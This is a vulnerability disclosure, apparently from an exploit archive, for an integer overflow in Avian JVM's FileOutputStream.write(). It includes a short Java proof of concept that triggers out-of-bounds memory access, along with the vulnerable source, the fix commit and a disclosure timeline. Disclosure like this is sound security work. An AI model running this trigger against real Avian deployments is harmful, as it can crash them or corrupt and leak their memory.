Share
## https://sploitus.com/exploit?id=PACKETSTORM:160045
Vulnerability title: Avian JVM FileOutputStream.write() Integer Overflow  
Author: Pietro Oliva  
Vendor: ReadyTalk  
Product: Avian JVM   
Affected version: 1.2.0 before 27th October 2020  
Fixed Version: 1.2.0 since 27th October 2020  
  
Description:  
The issue is located in the FileOutputStream.write() method defined in  
FileOutputStream.java, where a boundary check is performed in order to prevent  
out-of-bounds memory read/write. However, this check contained an integer   
overflow which leads to the same check being bypassed and out-of-bounds   
read/write.   
  
Impact:  
Attackers could exploit this vulnerability to read/write arbitrary content in  
the JVM memory. This could in turn result in denial of service, memory   
disclosure, or arbitrary code execution in the context of the JVM.  
  
Exploitation:  
The following PoC would trigger an OOB read/write and/or crash of Avian JVM:  
  
import java.io.IOException;  
import java.io.FileDescriptor;  
import java.io.FileOutputStream;  
  
public class poc {  
  
public static void main(String[] args) throws IOException {  
byte[] data = "somedata".getBytes();  
FileDescriptor fd = new FileDescriptor().out;  
FileOutputStream fos = new FileOutputStream(fd);  
  
fos.write(data, 1, 0x7fffffff); // Integer overflow + OOB read/write here  
}  
}  
  
  
Evidence:  
  
public void write(byte[] b, int offset, int length) throws IOException {  
if (b == null) {  
throw new NullPointerException();  
}  
  
if (offset < 0 || offset + length > b.length) { // Integer overflow here  
throw new ArrayIndexOutOfBoundsException();  
}  
  
write(fd, b, offset, length);  
}  
  
extern "C" JNIEXPORT void JNICALL  
Java_java_io_FileOutputStream_write__I_3BII(JNIEnv* e,  
jclass,  
jint fd,  
jbyteArray b,  
jint offset,  
jint length)  
{  
jbyte* data = static_cast<jbyte*>(malloc(length));  
  
if (data == 0) {  
throwNew(e, "java/lang/OutOfMemoryError", 0);  
return;  
}  
  
e->GetByteArrayRegion(b, offset, length, data);  
if (not e->ExceptionCheck()) {  
doWrite(e, fd, data, length);  
}  
  
free(data);  
}  
  
void JNICALL GetByteArrayRegion(Thread* t,  
jbyteArray array,  
jint offset,  
jint length,  
jbyte* dst)  
{  
ENTER(t, Thread::ActiveState);  
  
if (length) {  
// Out-of-bounds read/write here  
memcpy(dst, &(*array)->body()[offset], length * sizeof(jbyte));  
}  
}  
  
As can be observed above, offset+length can overflow in FileOutputStream.write()  
and later result in OOB read/write during memcpy() in GetByteArrayRegion().   
  
Mitigating factors:  
Since offset needs to be a positive integer, and length is limited to a valid  
malloc argument, there is a limited range of memory where an attacker could read  
or write as a result of this vulnerability.  
  
Remediation:  
  
A fix has been made available with the following commit:  
https://github.com/ReadyTalk/avian/commit/0871979b298add320ca63f65060acb7532c8a0dd  
  
Disclosure timeline:  
20th October 2020 - Vulnerability reported.  
20th October 2020 - Vulnerability acknowledged.  
20th October 2020 - CVE request sent to Mitre.  
23rd October 2020 - Sent reminder to Mitre.  
27th October 2020 - Sent reminder to Mitre.  
27th October 2020 - Patch proposed via pull request.  
27th October 2020 - Patch merged into master branch.  
29th October 2020 - Sent reminder to Mitre.  
2nd November 2020 - CVE request sent again to Mitre.  
11th November 2020 - Vulnerability details shared on fulldisclosure without CVE identifier.